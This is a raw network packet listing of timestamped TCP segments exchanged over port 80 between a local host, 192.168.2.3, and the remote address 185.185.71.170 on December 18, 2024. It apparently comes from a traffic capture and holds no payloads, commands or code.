Dec 18, 2024 20:56:42.478941917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.479178905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.479799032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.479917049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.480173111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.480648041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.480730057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.481240034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.481822968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.481870890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.482294083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.482788086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.482834101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.483279943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.483818054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.483864069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.484291077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.484812021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.484895945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.485340118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.485862970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.486175060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.486275911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.486835003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.486954927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.487399101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.487888098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.487955093 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.488373995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.489085913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.489411116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.489618063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.490135908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.490261078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.490597963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.491256952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.491333961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.491597891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.492285013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.492364883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.492624998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.493669033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.493710995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.493990898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.494731903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.494890928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.494932890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.496083975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.496269941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.496589899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.497062922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.497117996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.497670889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.498028040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.498193026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.498475075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.498851061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.499195099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.499278069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.499825001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.499970913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.500303984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.500897884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.501115084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.501369953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.501856089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.501983881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.502233028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.502638102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.502698898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.503063917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.503501892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.503554106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.504028082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.504585028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.504700899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.505022049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.505606890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.505870104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.505978107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.506642103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.506828070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.623584032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.623774052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.623893976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.624003887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.624413013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.624502897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.624721050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.625303984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.625363111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.625730991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.626257896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.626312017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.627676964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.627684116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.627774954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.629862070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.630975008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.630983114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.631113052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.632071972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.632081032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.632129908 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.633073092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.633111954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.633157015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.634161949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.634170055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.634182930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.634217978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.635221004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.635227919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.635288000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.636239052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.636246920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.636342049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.637283087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.637290955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.637345076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.638554096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.638566017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.638622046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.639563084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.639576912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.639616966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.640651941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.640665054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.640707016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.641802073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.641814947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.641865969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.642855883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.661721945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.661822081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.661911964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.662101984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.662161112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.662538052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.663074017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.663120985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.663609982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.664098024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.664134026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.664583921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.665107012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.665148973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.665585995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.666135073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.666171074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.666625023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.667176008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.667218924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.667541981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.668282032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.668323040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.668530941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.669239998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.669280052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.669641018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.670476913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.670511961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.670670986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.671416998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.671493053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.671642065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.672358036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.672452927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.672617912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.673424959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.673474073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.673713923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.674433947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.674474001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.674698114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.675543070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.675589085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.675744057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.676563978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.676604033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.676834106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.677615881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.677661896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.677889109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.678616047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.678653955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.678877115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.679688931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.679734945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.679919004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.680751085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.680789948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.680954933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.681732893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.681828976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.682005882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.682779074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.682831049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.683042049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.683825970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.683876038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.684042931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.684834003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.684890032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.685096979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.685898066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.685946941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.686145067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.686907053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.686959028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.687164068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.687973976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.688024044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.688226938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.688997984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.689053059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.689228058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.690077066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.690126896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.690306902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.691071033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.691113949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.691409111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.692086935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.692132950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.692552090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.693216085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.693263054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.693547010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.694360971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.694415092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.694845915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.695532084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.695652962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.695720911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.696459055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.696506023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.696914911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.698510885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.698523998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.698569059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.699615955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.699630022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.699662924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.743742943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.818180084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.818675041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.818751097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.854132891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.864594936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.864679098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.938689947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.939073086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.939131021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:42.987272978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.987437963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:42.987488031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.058861971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.059166908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.059221029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.059633970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.060195923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.060244083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.060635090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.061230898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.061278105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.061640024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.062189102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.062271118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.062607050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.063162088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.063214064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.063596010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.064208031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.064255953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.064802885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.065459013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.065509081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.066011906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.066430092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.066473961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.066847086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.067326069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.067399025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.067781925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.068161964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.068207026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.068686962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.069097042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.069142103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.069678068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.070086956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.070136070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.070724010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.071172953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.071221113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.071830988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.072083950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.072135925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.072844028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.073088884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.073132992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.074594021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.074608088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.074647903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.076723099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.076740980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.076792955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.077769041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.077781916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.077830076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.078882933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.078895092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.078937054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.079984903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.079997063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.080035925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.080935955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.080952883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.081007004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.081952095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.081965923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.082006931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.083009005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.083044052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.083082914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.084542036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.084577084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.084616899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.085695028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.086811066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.086847067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.086854935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.087533951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.087582111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.087585926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.088568926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.088603973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.088630915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.089562893 CET	80	49747	185.185.71.170	192.168.2.3
